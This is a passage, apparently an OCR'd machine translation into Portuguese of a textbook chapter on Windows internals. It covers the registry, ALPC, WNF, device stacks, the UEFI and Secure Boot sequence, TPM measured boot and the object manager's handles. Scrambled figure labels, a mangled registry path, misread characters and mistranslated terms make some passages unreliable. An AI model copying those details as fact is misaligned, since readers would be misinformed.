O executivo contém vários outros componentes que descreveremos brevemente. O gerenciador 
de configuração é o componente executivo que implementa o registro, conforme descrito 
anteriormente. O registro contém dados de configuração do sistema em arquivos do sistema de 
arquivos chamados hives. O hive mais crítico é o hive SYSTEM que é carregado na memória toda 
vez que o sistema é inicializado a partir do disco. Somente depois que a camada executiva tiver 
inicializado com êxito todos os seus principais componentes, incluindo os drivers de E/S que se 
comunicam com o disco do sistema, a cópia na memória do hive será reassociada à cópia no sistema 
de arquivos. Portanto, se algo de ruim acontecer ao tentar inicializar o sistema, é muito improvável 
que a cópia no disco seja corrompida. Se a cópia no disco fosse corrompida, isso seria um desastre. 


O componente de chamada de procedimento local fornece uma comunicação entre processos 
altamente eficiente usada entre processos em execução no mesmo sistema. É um dos transportes de 
dados usados pelo recurso de cnamada de procedimento remoto baseado em padrões para 
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implementar o estilo de computação cliente/servidor. RPC também usa pipes nomeados e 
TCP/IP como transporte. 
O LPC foi substancialmente aprimorado no Windows 8 (agora é cnamado de ALPC, 
(Advanced LPC) para fornecer suporte para novos recursos em RPC, incluindo RPC de 
componentes do modo kernel, como drivers. O LPC foi um componente crítico no projeto original do NT 
porque é usado pela camada do subsistema para implementar a comunicação entre as rotinas stub da 
biblioteca que são executadas em cada processo e o subsistema. 
processo que implementa as facilidades comuns a um sistema operacional específico 
personalidade, como Win32 ou POSIX. 

O Windows também fornece um serviço de publicação/assinatura chamado WNF (Windows 
Recurso de Notificação). As notificações WNF são baseadas em alterações em uma instância de 
Dados do estado WNF. Um editor declara uma instância de dados de estado (até 4 KB) e 
informa ao sistema operacional por quanto tempo ele deve ser mantido (por exemplo, até a próxima 
reinicialização ou permanentemente). Um editor atualiza atomicamente o estado conforme apropriado. Assinantes 
pode organizar a execução do código sempre que uma instância de dados de estado for modificada por 
um editor. Como as instâncias de estado WNF contêm uma quantidade fixa de recursos pré-alocados 
dados, não há fila de dados como no IPC baseado em mensagens - com todos os atendentes 
problemas de gerenciamento de recursos. Os assinantes têm a garantia apenas de que poderão ver 
a versão mais recente de uma instância de estado. 

Esta abordagem baseada no estado dá ao WNF a sua principal vantagem sobre outros IPC 
mecanismos: editores e assinantes estão dissociados e podem iniciar e parar independentemente um do 
outro. Os editores não precisam executar no momento da inicialização apenas para inicializar 
suas instâncias de estado, já que elas podem ser persistidas pelo sistema operacional em 
reinicia. Os assinantes geralmente não precisam se preocupar com valores passados de estado 
casos em que eles começam a correr como tudo o que precisam saber sobre o estado 
o histórico é encapsulado no estado atual. Em cenários onde os valores do estado passado 
não pode ser razoavelmente encapsulado, o estado atual pode fornecer metadados para gerenciar o 
estado histórico, digamos, em um arquivo ou em um objeto de seção persistente usado como um objeto circular 
amortecedor. WNF faz parte das APIs nativas do NT e (ainda) não está exposto via Win32 
interfaces. Mas é amplamente utilizado internamente pelo sistema para implementar Win32 
e APIs WinRT. 

No Windows NT 4.0, grande parte do código relacionado à interface gráfica Win32 
foi movido para o kernel porque o hardware atual não poderia fornecer o 
desempenho requerido. Este código residia anteriormente no subsistema csrss.exe 
processo que implementou as interfaces Win32. O código GUI baseado em kernel 
reside em um driver de kernel especial, win32k.sys. A mudança para o modo kernel melhorou 
Desempenho do Win32 porque as transições extras de modo de usuário/modo kernel e o 
o custo de comutação de espaços de endereço para implementar a comunicação via LPC foi eliminado. 
No entanto, não ocorreu sem problemas porque os requisitos de segurança no código executado no kernel 
são muito rigorosos, e a complicada interface API exposta pelo win32k ao modo de usuário resultou em 
inúmeras vulnerabilidades de segurança. Esperamos que uma versão futura do Windows mova o win32k 
de volta para um processo de modo de usuário, mantendo um desempenho aceitável para o código GUI. 
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Os drivers de dispositivo 


A parte final da Figura 11.11 consiste nos drivers de dispositivo. Os drivers de dispositivo no Windows 
são bibliotecas de vínculo dinâmico carregadas pelo executivo do NTOS. 

Embora sejam usados principalmente para implementar drivers para hardware específico, como dispositivos 
físicos e barramentos de E/S, o mecanismo de driver de dispositivo também é usado como mecanismo de 
extensibilidade geral para o modo kernel. Conforme descrito anteriormente, grande parte do subsistema Win32 
é carregada como um driver. 

O gerenciador de E/S organiza um caminho de fluxo de dados para cada instância de um dispositivo, 
conforme mostrado na Figura 11.14. Esse caminho é chamado de pilha de dispositivos e consiste em 
instâncias privadas de objetos de dispositivos do kernel alocados para o caminho. Cada objeto de dispositivo 
na pilha de dispositivos está vinculado a um objeto de driver específico, que contém a tabela de rotinas a 
serem usadas para os pacotes de solicitação de E/S que fluem pela pilha de dispositivos. Em alguns casos, os 
dispositivos na pilha representam drivers cujo único propósito é filtrar operações de E/S destinadas a um 
determinado dispositivo, barramento ou driver de rede. A filtragem é usada por vários motivos. Às vezes, as 
operações de E/S de pré-processamento ou pós-processamento resultam em uma arquitetura mais limpa, 
enquanto outras vezes é apenas pragmático porque as fontes ou direitos para modificar um driver não estão 
disponíveis e, portanto, a filtragem é usada para contornar a incapacidade de modificar esses drivers. Os filtros 
também podem implementar funcionalidades completamente novas, como transformar discos em partições ou 


vários discos em volumes RAID. 


Os sistemas de arquivos são carregados como drivers de dispositivo. Cada instância de um volume para 
um sistema de arquivos possui um objeto de dispositivo criado como parte da pilha de dispositivos desse volume. 
Este objeto de dispositivo será vinculado ao objeto de driver do sistema de arquivos apropriado à formatação 
do volume. Drivers de filtro especiais, chamados drivers de filtro do sistema de arquivos, podem inserir 
objetos de dispositivo antes do objeto de dispositivo do sistema de arquivos para aplicar funcionalidade às 
solicitações de E/S enviadas para cada volume, como manipulação de criptografia. 

Os protocolos de rede, como a implementação integrada de TCP/IP IPv4/IPv6 do Windows, também são 
carregados como drivers usando o modelo de E/S. Para compatibilidade com o Windows mais antigo baseado 
em MS-DOS, o driver TCP/IP implementa um protocolo especial para comunicação com interfaces de rede 
sobre o modelo de E/S do Windows. Existem outros drivers que também implementam tais arranjos, que o 
Windows chama de miniportas. A funcionalidade compartilhada está em um driver de classe. Por exemplo, 
a funcionalidade comum para discos SCSI ou IDE ou dispositivos USB é fornecida por um driver de classe, ao 
qual os drivers de miniporta para cada tipo específico de tais dispositivos são vinculados como uma biblioteca. 


Não discutiremos nenhum driver de dispositivo específico neste capítulo, mas forneceremos 
mais detalhes sobre como o gerenciador de E/S interage com drivers de dispositivo na Seção. 11.7. 


11.3.2 Inicializando o Windows 


Fazer um sistema operacional funcionar requer várias etapas. Quando um computador é ligado, o primeiro 
processador é inicializado pelo hardware e então configurado para iniciar a execução de algum programa na 


memória. O único código disponível está em alguma forma de 
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Gerenciador de E/S 


E qd a 


C: Filtro do sistema de arquivos [— Driver de filtro do sistema de arquivos [4 D: Filtro do sistema de arquivos 
C: Filtro do sistema de arquivos [>| Driver de filtro do sistema de arquivos [5 D: Filtro do sistema de arquivos 
IRP C: Sistema de arquivos + Driver NTFS + D: Sistema de arquivos IRP 
G: Volume |>| Driver gerenciador de volume «+ D: Volume 
C: Dispositivo de classe de disco | Driver de classe de disco |«— D: Dispositivo de classe de disco 
Y Y 
C: Partição(ões) de disco > Driver de miniporta de disco [4  D:Partição(ões) de disco 
Pilha de dispositivos Cada objeto de dispositivo Pilha de dispositivos 
consistindo em dispositivo links para um motorista consistindo em dispositivo 
objetos para C: objeto com função objetos para D: 


pontos de entrada 


Figura 11-14. Representação simplificada de pilhas de dispositivos para dois volumes de arquivos NTFS. 


O pacote de solicitação de E/S é passado de baixo para cima na pilha. As rotinas apropriadas 
dos drivers associados são chamados em cada nível da pilha. O dispositivo empilha 


eles próprios consistem em objetos de dispositivo alocados especificamente para cada pilha. 


memória CMOS não volátil que é inicializada pelo fabricante do computador (e 
às vezes atualizado pelo usuário, em um processo denominado flashing). Porque o software 
persiste na memória (somente leitura) e raramente é atualizado, é referido como 
firmware. Ele é mantido em um chip especial cujo conteúdo não é perdido quando a energia é 
desligado. O firmware é carregado nos PCs pelo fabricante da placa-mãe ou do sistema do 
computador. Historicamente, o firmware do PC era um programa chamado 
BIOS (Basic Input/Output System), mas a maioria dos novos computadores usa UEFI (Unified 
Interface de firmware extensível). O UEFI melhora o BIOS ao suportar hardware moderno, 
fornecendo uma arquitetura mais modular independente da CPU, muito mais 
mecanismos de segurança aprimorados e suporte a um modelo de extensão que simplifica 
a inicialização em redes, o provisionamento de novas máquinas e a execução de diagnósticos. 
O Windows 11 oferece suporte apenas a máquinas baseadas em UEFI. 

O principal objetivo de qualquer firmware é ativar o sistema operacional, localizando e 
executando o aplicativo bootstrap. O firmware UEFI consegue isso primeiro 
exigindo que o disco de inicialização seja formatado no GPT (tabela de partição GUID) 
esquema onde cada partição do disco é identificada por um GUID (Globally-Unique 
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IDentifier), que, na prática, é um número de 128 bits gerado para garantir a exclusividade. O programa de 
instalação do Windows inicializa o disco de inicialização no formato GPT e 

cria várias partições. Os mais importantes são a partição do sistema EFI que 

é formatado com FAT32 e contém o aplicativo Windows Boot Manager UEFI (bootmgrfw.efi) e a partição de 
inicialização que é formatada com NTFS e 

contém a instalação real do Windows. Além disso, o programa de configuração define alguns 

variáveis globais UEFI bem conhecidas que indicam ao firmware a localização do 

Gerenciador de inicialização do Windows. Essas variáveis são armazenadas no armazenamento não volátil do sistema 
memória e persistir durante as inicializações. 

Dado um disco particionado por GPT, o firmware UEFI localiza o Windows Boot 
Manager na partição do sistema EFI e transfere o controle para ele. É capaz de fazer isso 
porque o firmware suporta o sistema de arquivos FAT32 (mas não o sistema de arquivos NTFS). O trabalho do 
gerenciador de inicialização é selecionar o aplicativo carregador de sistema operacional apropriado 
e execute-o. O trabalho do carregador do sistema operacional é carregar os arquivos reais do sistema operacional em 
memória e comece a executar o sistema operacional. Tanto o gerenciador de inicialização quanto o carregador do sistema operacional dependem 
nos recursos de firmware UEFI para gerenciamento básico de memória, E/S de disco, textual 
e E/S de console gráfico. No entanto, uma vez que todos os arquivos necessários do sistema operacional 
são carregados na memória e preparados para execução, "propriedade" da plataforma 
é transferido para o kernel do sistema operacional e esses serviços de inicialização fornecidos por 
o firmware é descartado da memória. O kernel então inicializa seu próprio armazenamento e drivers de sistema 
de arquivos para montar a partição de inicialização e carregar o restante dos arquivos. 
necessário para inicializar o Windows. 

A segurança de inicialização é a base da segurança do sistema operacional. A sequência de inicialização 
deve ser protegida contra um tipo especial de malware chamado rootkits , que são softwares maliciosos 
sofisticados que se injetam na sequência de inicialização, assumem o controle do 
hardware e se escondem dos mecanismos de segurança que carregam posteriormente 
(como aplicativos antimalware). Como contramedida, UEFI oferece suporte a um recurso 
chamado Secure Boot que valida a integridade de cada componente carregado durante 
o processo de inicialização, incluindo o próprio firmware UEFI. Esta verificação é realizada 
verificando a assinatura digital de cada componente em um banco de dados confiável 
certificados (ou certificados emitidos por certificados confiáveis), estabelecendo assim um 
cadeia de confiança enraizada no certificado raiz. Como parte do Secure Boot, o firmware 
valida o Gerenciador de inicialização do Windows antes de transferir o controle para ele, que, então 
valida o carregador do sistema operacional, que então valida os arquivos do sistema operacional (hipervisor, 
kernel seguro, kernel, drivers de inicialização e assim por diante). 

A verificação da assinatura digital envolve o cálculo de um hash criptográfico para o 
componente a ser verificado. Este valor de hash também é medido no TPM (Trusted 
Módulo de plataforma) , que é um processador criptográfico seguro que deve estar presente no Windows 11. O 
TPM fornece vários serviços de segurança, como proteção de chaves de criptografia, medições de inicialização 
e atestado. O ato de medir 
um valor hash no TPM combina criptograficamente o valor hash com o 
valor existente em um PCR (Platform Configuration Register) em uma operação chamada 
estendendo o PCR. O gerenciador de inicialização do Windows e o carregador do sistema operacional não medem 
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apenas os hashes dos componentes a serem executados, mas também peças importantes do boot 
configuração, como o dispositivo de inicialização, requisitos de assinatura de código e se 

a depuração está habilitada. O TPM não permite que os valores do PCR sejam manipulados 

de qualquer forma que não seja a extensão. Como resultado, os PCRs fornecem um mecanismo à prova de violação 
para registrar a sequência de inicialização do sistema operacional. Isso é chamado de inicialização medida. Injeção de 
um rootkit ou uma alteração na configuração de inicialização resultará em um PCR final diferente 

valor. Essa propriedade permite que o TPM dê suporte a dois cenários importantes: 


1. Atestado. As organizações podem querer garantir que um computador seja 
livre de rootkits antes de permitir acesso à rede corporativa. A 
servidor de atestado remoto confiável pode solicitar de cada cliente um TPM 
Citação que é uma coleção assinada de valores PCR que podem ser verificados 
contra um banco de dados de valores aceitáveis para determinar se o cliente está íntegro. 


2. Vedação. O TPM suporta o armazenamento de uma chave secreta usando valores PCR 
de modo que ele possa ser desbloqueado em uma sessão de inicialização posterior somente se esses PCRs 
têm os mesmos valores. A solução de criptografia de volume BitLocker usa 
os valores PCR da sequência de inicialização para selar sua chave de criptografia no TPM 
de tal forma que a chave só pode ser revelada se a sequência de inicialização não for 
adulterada. 


O Gerenciador de inicialização do Windows orquestra as etapas para inicializar o Windows. Primeiro 
carrega da partição do sistema EFI o BCD (banco de dados de configuração de inicialização) 
que é uma seção de registro contendo descritores para todos os aplicativos de inicialização e seus 
parâmetros. Em seguida, verifica se o sistema já havia hibernado anteriormente (um 
modo especial de economia de energia onde o estado do sistema operacional é salvo no disco). Se 
então, o gerenciador de inicialização executa o aplicativo de inicialização winresume.efi que "retoma" 
Windows do instantâneo salvo. Caso contrário, ele carrega e executa o carregador do SO 
aplicativo de inicialização, winload.efi, para executar uma nova inicialização. Ambos os aplicativos UEFI 
geralmente estão localizados no volume de inicialização formatado em NTFS. O gerenciador de inicialização 
compreende uma ampla seleção de formatos de sistema de arquivos para suportar a inicialização 
de vários dispositivos. Além disso, como o volume de inicialização pode ser criptografado com o Bit Locker, 
o gerenciador de inicialização deve solicitar ao TPM para abrir o volume do BitLocker 
chave de descriptografia para acessar winresume ou winload. 

O carregador do sistema operacional Windows é responsável por carregar os componentes de 
inicialização restantes na memória: o carregador do hipervisor (hvloader.d!l), o kernel seguro 
(securekernel.exe), o kernel/executivo/HAL do NT (ntoskrnl.exe), o stub HAL 
(hal.dll), a seção SYSTEM, bem como todos os drivers de inicialização listados na seção SYSTEM. 

Ele executa o carregador do hipervisor que escolhe o binário do hipervisor apropriado 

com base no sistema subjacente e o inicia. Então o Kernel Seguro é inicializado 

e, finalmente, o winload transfere o controle para o ponto de entrada do Kernel do NT. A inicialização do 
NT Kernel ocorre em diversas fases. A inicialização da fase 0 é executada no processador de inicialização 
e inicializa as estruturas do processador, os bloqueios, o espaço de endereço do kernel e os dados. 
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estruturas dos componentes do kernel. A Fase 1 inicia todos os processadores restantes e 
completa a inicialização final de todos os componentes do kernel. No final da Fase 1, uma vez 
o gerenciador de E/S é inicializado, os drivers de inicialização são iniciados e os sistemas de arquivos são montados, o 
restante da inicialização do sistema operacional pode prosseguir para carregar novos binários do disco. 

O primeiro processo no modo de usuário a ser iniciado durante a inicialização é o smss.exe , que é 
semelhante ao /etc/init em sistemas UNIX. O SMSs primeiro conclui a inicialização do 
partes independentes do subsistema do sistema operacional, criando qualquer configuração 
paginando arquivos e finalizando a inicialização do registro carregando as seções restantes. 
Então ele começa a atuar como um gerenciador de sessões: ele lança novas instâncias de si mesmo para 
inicializar a Sessão 0, a sessão não interativa, e a Sessão 1, a sessão interativa. 
Essas instâncias smss filhas são responsáveis por enumerar e iniciar subsistemas NT listados na chave 
de registro HKLM| SYSTEM! CurrentControlSet| Con trol Session Manager! Subsystems . No Windows 11, 
o único subsistema ed com suporte é o subsistema Windows, portanto, a instância smss filha inicia o 
processo do subsistema Windows, csrss.exe. Em seguida, a instância da Sessão 0 executa o 


processo wininit.exe para inicializar o restante do subsistema Windows enquanto a instância da Sessão 1 
inicia o processo winlogon.exe para permitir que o usuário interativo faça logon 
em. 

A sequência de inicialização do Windows possui lógica para lidar com problemas comuns dos usuários 
encontro quando a inicialização do sistema falha. Às vezes, a instalação de um dispositivo ruim 
driver ou modificar incorretamente a seção SYSTEM pode impedir que o sistema 
inicializando com sucesso. Para se recuperar dessas situações, o gerenciador de inicialização do Windows 
permite que os usuários iniciem o WinRE (Ambiente de Recuperação do Windows) WinRE 
fornece uma variedade de ferramentas e mecanismos de reparo automatizados. Esses incluem 
Restauração do sistema que permite restaurar o volume de inicialização para um instantâneo anterior. 
Outro é o Startup Repair , que é uma ferramenta automatizada que detecta e corrige o 
fontes mais comuns de problemas de inicialização. PC Reset executa o equivalente a um 
redefinição de fábrica para trazer o Windows de volta ao seu estado original após a instalação. Para casos 
onde a intervenção manual pode ser necessária, o WinRE também pode lançar um comando 
prompt onde o usuário tem acesso a qualquer ferramenta de linha de comando. Da mesma forma, o sistema 
pode ser inicializado no modo de segurança , onde apenas um conjunto mínimo de drivers de dispositivos 
e serviços é carregado para minimizar as chances de ocorrer falha na inicialização. 


11.3.3 Implementação do Gerenciador de Objetos 


O gerenciador de objetos é provavelmente o componente mais importante do 
Executivo do Windows, por isso já apresentamos muitos de seus conceitos. Conforme descrito 
anteriormente, ele fornece uma interface uniforme e consistente para gerenciar recursos do sistema e 
estruturas de dados, como arquivos abertos, processos, threads, 
seções de memória, temporizadores, dispositivos, drivers e semáforos. Ainda mais especializado 
objetos que representam coisas como transações de kernel, perfis, tokens de segurança e 
Os desktops Win32 são gerenciados pelo gerenciador de objetos. Objetos de dispositivo são vinculados 
as descrições do sistema de E/S, incluindo o fornecimento do link entre o NT 
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volumes de namespace e sistema de arquivos. O gerenciador de configuração usa um objeto de 
digite a chave para vincular nas seções do registro. O próprio gerenciador de objetos possui objetos que ele usa 
para gerenciar o namespace do NT e implementar objetos usando um recurso comum. 
Estes são diretório, link simbólico e objetos do tipo objeto. 
A uniformidade fornecida pelo gerenciador de objetos possui várias facetas. Todos estes 
os objetos usam o mesmo mecanismo para serem criados, destruídos e contabilizados no sistema de cotas. 
Todos eles podem ser acessados a partir de processos no modo de usuário 
usando alças. Existe uma convenção unificada para gerenciar referências de ponteiro para 
objetos de dentro do kernel. Os objetos podem receber nomes no namespace do NT 
(que é gerenciado pelo gerenciador de objetos). Objetos Dispatcher (objetos que começam 
com a estrutura de dados comum para sinalização de eventos) podem usar interfaces comuns de sincronização 
e notificação, como WaitForMultipleObjects. Existe o sistema de segurança comum com ACLs aplicadas em 
objetos abertos por nome e acesso 
verifica cada uso de uma alça. Existem até recursos para ajudar o modo kernel 
os desenvolvedores depuram problemas rastreando o uso de objetos. 
Uma chave para entender os objetos é perceber que um objeto (executivo) é apenas um 
estrutura de dados na memória virtual acessível ao modo kernel. Essas estruturas de dados são comumente 
usadas para representar conceitos mais abstratos. Como exemplos, objetos de arquivo executivo são criados 
para cada instância de um arquivo do sistema de arquivos que foi 
aberto. Objetos de processo são criados para representar cada processo. Comunicação 
objetos (por exemplo, semáforos) são outro exemplo. 
Uma consequência do fato de que os objetos são apenas estruturas de dados do kernel é que 
quando o sistema é reinicializado (ou trava), todos os objetos são perdidos. Quando o sistema 
boots, não há nenhum objeto presente, nem mesmo os descritores de tipo de objeto. Todos 
tipos de objetos, e os próprios objetos, devem ser criados dinamicamente por outros 
componentes da camada executiva chamando as interfaces fornecidas pelo objeto 
gerente. Quando objetos são criados e um nome é especificado, eles podem ser referenciados posteriormente 
através do namespace do NT. Então, construindo os objetos conforme o sistema inicializa 
também cria o namespace do NT. 
Os objetos possuem uma estrutura, conforme mostrado na Figura 11.15. Cada objeto contém um 
cabeçalho com certas informações comuns a todos os objetos de todos os tipos. Os campos deste 
cabeçalho inclui o nome do objeto, o diretório do objeto em que ele reside no NT 
namespace e um ponteiro para um descritor de segurança que representa a ACL para o 
objeto. 
A memória alocada para objetos vem de um dos dois heaps (ou pools) de 
memória mantida pela camada executiva. Existem funções utilitárias (semelhantes a malloc) 
no executivo que permite que componentes do modo kernel aloquem pagináveis ou 
memória de kernel não paginável. A memória não paginável é necessária para qualquer estrutura de dados ou 
objeto de modo kernel que possa precisar ser acessado a partir de uma interrupção da CPU. 
nível de solicitação de 2 ou mais. Isto inclui ISRs e DPCs (mas não APCs) e o 
próprio agendador de threads. O manipulador de falha de página e o caminho de paginação através do arquivo 
drivers de sistema e armazenamento também exigem que suas estruturas de dados sejam alocadas de 


memória de kernel não paginável para evitar recursão. 
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Object 
header 4 
Pointer to the type object 
j 

ps Object-specific data 
Open method 
Close method 
Delete method 


Query name method 


Parse method 
Security method 


Figura 11-15. Estrutura de um objeto executivo gerenciado pelo gerenciador de objetos. 


A maioria das alocações do gerenciador de heap do kernel são obtidas usando listas 
lookaside por processador que contêm listas LIFO de alocações do mesmo tamanho. Esses 
LIFOs são otimizados para operação sem bloqueios, melhorando o desempenho e a 
escalabilidade do sistema. 

Cada cabeçalho de objeto contém um campo de cobrança de cota, que é a cobrança 
cobrada de um processo de abertura do objeto. As cotas são usadas para evitar que um usuário 
use muitos recursos do sistema. Em um notebook pessoal isso não importa, mas em um 
servidor compartilhado, importa. Existem limites separados para memória de kernel não 
paginável (que requer alocação de memória física e endereços virtuais de kernel) e memória 
de kernel paginável (que usa endereços virtuais de kernel e espaço de arquivo de paginação). 
Quando os encargos cumulativos para qualquer tipo de memória atingem o limite de cota, as 
alocações para esse processo falham devido a recursos insuficientes. As cotas também são 
usadas pelo gerenciador de memória para controlar o tamanho do conjunto de trabalho e pelo 
gerenciador de threads para limitar a taxa de uso da CPU. 

Tanto a memória física quanto os endereços virtuais do kernel são recursos extremamente 
valiosos. Quando um objeto não for mais necessário, ele deverá ser excluído e sua memória e 
endereços recuperados para liberar recursos importantes. Mas é importante que um objeto só 
seja excluído quando não estiver mais em uso. Para rastrear corretamente a vida útil do objeto, 
o gerenciador de objetos implementa um mecanismo de contagem de referências e o conceito 
de um ponteiro referenciado , que é um ponteiro para um objeto cuja contagem de referências 
foi incrementada para esse ponteiro. Esse mecanismo evita a exclusão prematura de objetos 
quando várias operações assíncronas podem estar em andamento em threads diferentes. 
Geralmente, quando a última referência a um objeto é eliminada, o objeto é excluído. É 
fundamental não excluir um objeto que esteja em uso por algum processo. 
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Alças 


As referências de modo de usuário a objetos de modo kernel não podem usar ponteiros porque 
são muito difíceis de validar e, mais importante, o modo de usuário não tem visibilidade no layout do espaço de 
endereço do modo kernel devido a razões de segurança. Em vez disso, os objetos do modo kernel devem ser 
referenciados por meio de uma camada indireta. O Windows usa alças 
para se referir a objetos do modo kernel. Alças são valores opacos que são convertidos por 
o gerenciador de objetos em referências à estrutura de dados específica do modo kernel 
representando um objeto. A Figura 11-16 mostra a estrutura de dados da tabela de manipuladores usada para 
traduzir identificadores em ponteiros de objeto. A tabela de identificadores é expansível adicionando 
camadas extras de indireção. Cada processo possui sua própria tabela, incluindo o sistema 
processo que contém todos os threads do kernel que não pertencem a um processo de modo de usuário. 


Handle-table 
descriptor A: Handle-table entries [256] 


Table pointer 


Figura 11-16. Lidar com estruturas de dados de tabela para uma tabela mínima usando um único 
página para até 512 identificadores. 


A Figura 11-17 mostra uma tabela de manipuladores com dois níveis extras de indireção, o 
máximo suportado. Às vezes é conveniente executar código no modo kernel 
para poder usar alças em vez de ponteiros referenciados. Eles são chamados de kernel 
identificadores e são especialmente codificados para que possam ser diferenciados dos identificadores do 
modo de usuário. Os identificadores do kernel são mantidos na tabela de identificadores dos processos do sistema e 
não pode ser acessado no modo de usuário. Assim como a maior parte do endereço virtual do kernel 
o espaço é compartilhado entre todos os processos, a tabela de identificadores do sistema é compartilhada por todo o kernel 
componentes, não importa qual seja o processo atual do modo de usuário. 

Os usuários podem criar novos objetos ou abrir objetos existentes fazendo chamadas Win32 
como CreateSemaphore ou OpenSemaphore. Estas são chamadas para procedimentos de biblioteca que, em 
última análise, resultam na realização de chamadas de sistema apropriadas. O resultado 
de qualquer chamada bem-sucedida que cria ou abre um objeto é uma entrada na tabela de identificadores que é 
armazenado na tabela de identificadores privados do processo na memória do kernel. O índice de 32 bits de 
a posição lógica do identificador na tabela é retornada ao usuário para uso em chamadas subsequentes. A 
entrada handle-table no kernel contém um ponteiro referenciado para 
o objeto, alguns sinalizadores (por exemplo, se o identificador deve ser herdado por processos filhos) e uma 
máscara de direitos de acesso. A máscara de direitos de acesso é necessária porque 
a verificação de permissões é feita somente no momento em que o objeto é criado ou aberto. Se um 
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Handle-table 
Descriptor D: Handle-table pointers [128] 


Table pointer 


C:Handle-table entries [256] 


TOO 


Figura 11-17. Estruturas de dados de tabela de manipuladores para uma tabela máxima de até 16 milhões 
de manipuladores. 


processo tiver apenas permissão de leitura para um objeto, todos os outros bits de direitos na máscara 
serão Os, dando ao sistema operacional a capacidade de rejeitar qualquer operação no objeto que 
não seja leitura. 

Para gerenciar o tempo de vida, o gerenciador de objetos mantém uma contagem de 
identificadores separada em cada objeto. Essa contagem nunca é maior que a contagem de ponteiros 
referenciados porque cada identificador válido possui um ponteiro referenciado para o objeto em sua 
entrada na tabela de identificadores. A razão para a contagem de identificadores separada é que 
muitos tipos de objetos podem precisar ter seu estado limpo quando a última referência de modo de 
usuário desaparecer, mesmo que eles ainda não estejam prontos para ter sua memória excluída. 

Um exemplo são os objetos de arquivo, que representam uma instância de um arquivo aberto. 
No Windows, os arquivos podem ser abertos para acesso exclusivo. Quando o último identificador de 
um objeto de arquivo é fechado, é importante excluir o acesso exclusivo naquele ponto, em vez de 
esperar que quaisquer referências incidentais ao kernel desapareçam (por exemplo, após a última 
liberação de dados da memória). Caso contrário, fechar e reabrir um arquivo no modo de usuário 
poderá não funcionar conforme o esperado porque o arquivo ainda parece estar em uso. 

Embora o gerenciador de objetos tenha mecanismos abrangentes para gerenciar a vida útil dos 
objetos dentro do kernel, nem as APIs do NT nem as APIs do Win32 fornecem um mecanismo de 
referência para lidar com o uso de identificadores em vários threads simultâneos no modo de usuário. 
Assim, muitos aplicativos multithread têm condições de corrida e bugs em que fecham um identificador 
em um thread antes de concluí-lo em outro. Ou eles podem fechar um identificador várias vezes ou 
fechar um identificador que outro thread ainda está usando e reabri-lo para se referir a um objeto 
diferente. 

Talvez as APIs do Windows devessem ter sido projetadas para exigir uma API fechada por tipo 
de objeto, em vez da única operação genérica NtClose . Isso teria pelo menos reduzido a frequência 
de bugs devido aos threads do modo de usuário fechando os identificadores errados. Outra solução 


pode ser incorporar um campo de sequência em cada identificador, além do índice, na tabela de 
identificadores. 
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Para ajudar os criadores de aplicativos a encontrar problemas como esses em seus programas, o Windows 
possui um verificador de aplicativos do qual os desenvolvedores de software podem fazer download. 
Microsoft. Semelhante ao verificador de drivers que descreveremos na Seç. 11.7,0 
O verificador de aplicativos faz uma extensa verificação de regras para ajudar os programadores a encontrar bugs 
que pode não ser encontrado por testes comuns. Também pode ativar uma ordem FIFO para 
lista livre de identificadores, para que os identificadores não sejam reutilizados imediatamente (ou seja, desativa o 
ordenação LIFO de melhor desempenho normalmente usada para tabelas de manipulação). Evitar que os 
arquivos sejam reutilizados transforma rapidamente as situações em que uma operação usa o 


alça errada no uso de uma alça fechada, que é fácil de detectar. 
O namespace do objeto 


Os processos podem compartilhar objetos fazendo com que um processo duplique um identificador para o 
objeto nos outros. Mas isso requer que o processo de duplicação tenha alças para 
outros processos e, portanto, é impraticável em muitas situações, como quando o 
os processos que compartilham um objeto não estão relacionados ou estão protegidos entre si. Em outro 
casos, é importante que os objetos persistam mesmo quando não estão sendo usados por qualquer 
processo, como objetos de dispositivo que representam dispositivos físicos ou volumes montados, 
ou os objetos usados para implementar o gerenciador de objetos e o próprio namespace do NT. 
Para atender aos requisitos gerais de compartilhamento e persistência, o gerenciador de objetos 
permite que objetos arbitrários recebam nomes no namespace do NT quando eles são 
criada. Porém, cabe ao componente executivo que manipula objetos de uma 
tipo específico para fornecer interfaces que suportam o uso dos recursos de nomenclatura do gerenciador de 
objetos. 
O namespace do NT é hierárquico, com o gerenciador de objetos implementando 
diretórios e links simbólicos. O namespace também é extensível, permitindo qualquer 
tipo de objeto para especificar extensões do namespace especificando uma rotina Parse . 
A rotina Parse é um dos procedimentos que podem ser fornecidos para cada tipo de objeto 
quando ele é criado, conforme mostrado na Figura 11-18. 


Procedimento Quando chamado Notas 
Abrir Para cada novo identificador Raramente usado 
Analisar Para tipos de objetos que estendem o namespace Usado para arquivos e chaves de registro 
Fechar Por fim, feche a alça Limpe os efeitos colaterais visíveis 
Excluir Na última desreferência do ponteiro O objeto está prestes a ser excluído 
Segurança Obtenha ou defina o descritor de segurança do objeto Proteção 
Query yName Obtém o nome do objeto Raramente usado fora do kernel 


Figura 11-18. Procedimentos de objeto fornecidos ao especificar um novo tipo de objeto. 


O procedimento Open raramente é usado porque o comportamento padrão do gerenciador de objetos 
geralmente é o necessário e, portanto, o procedimento é especificado como NULL por quase 


todos os tipos de objetos. 
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Os procedimentos Close e Delete representam diferentes fases de execução de um objeto. 
Quando o último identificador de um objeto é fechado, podem ser necessárias ações para limpar o 
estado e estas são executadas pelo procedimento Close . Quando a referência final do ponteiro é 
removida do objeto, o procedimento Delete é cnamado para que o objeto possa ser preparado para 
ser excluído e ter sua memória reutilizada. 

Com objetos de arquivo, ambos os procedimentos são implementados como retornos de chamada 

no gerenciador de E/S, que é o componente que declarou o tipo de objeto de arquivo. As operações 
do gerenciador de objetos resultam em operações de E/S que são enviadas pela pilha de dispositivos 
associada ao objeto de arquivo; o sistema de arquivos faz a maior parte do trabalho. 

O procedimento Parse é usado para abrir ou criar objetos, como arquivos e chaves de registro, 
que estendem o namespace do NT. Quando o gerenciador de objetos está tentando abrir um objeto 
pelo nome e encontra um nó folha na parte do namespace que ele gerencia, ele verifica se o tipo do 
objeto do nó folha especificou um procedimento Parse . Nesse caso, ele invoca o procedimento, 
passando-lhe qualquer parte não utilizada do nome do caminho. Novamente usando objetos de 
arquivo como exemplo, o nó folha é um objeto de dispositivo que representa um volume específico 
do sistema de arquivos. O procedimento Parse é implementado pelo gerenciador de E/S e resulta 
em uma operação de E/S para o sistema de arquivos para preencher um objeto de arquivo para se 
referir a uma instância aberta do arquivo ao qual o nome do caminho se refere no volume. 
Exploraremos este exemplo específico passo a passo abaixo. 

O procedimento QueryName é usado para procurar o nome associado a um objeto. O 
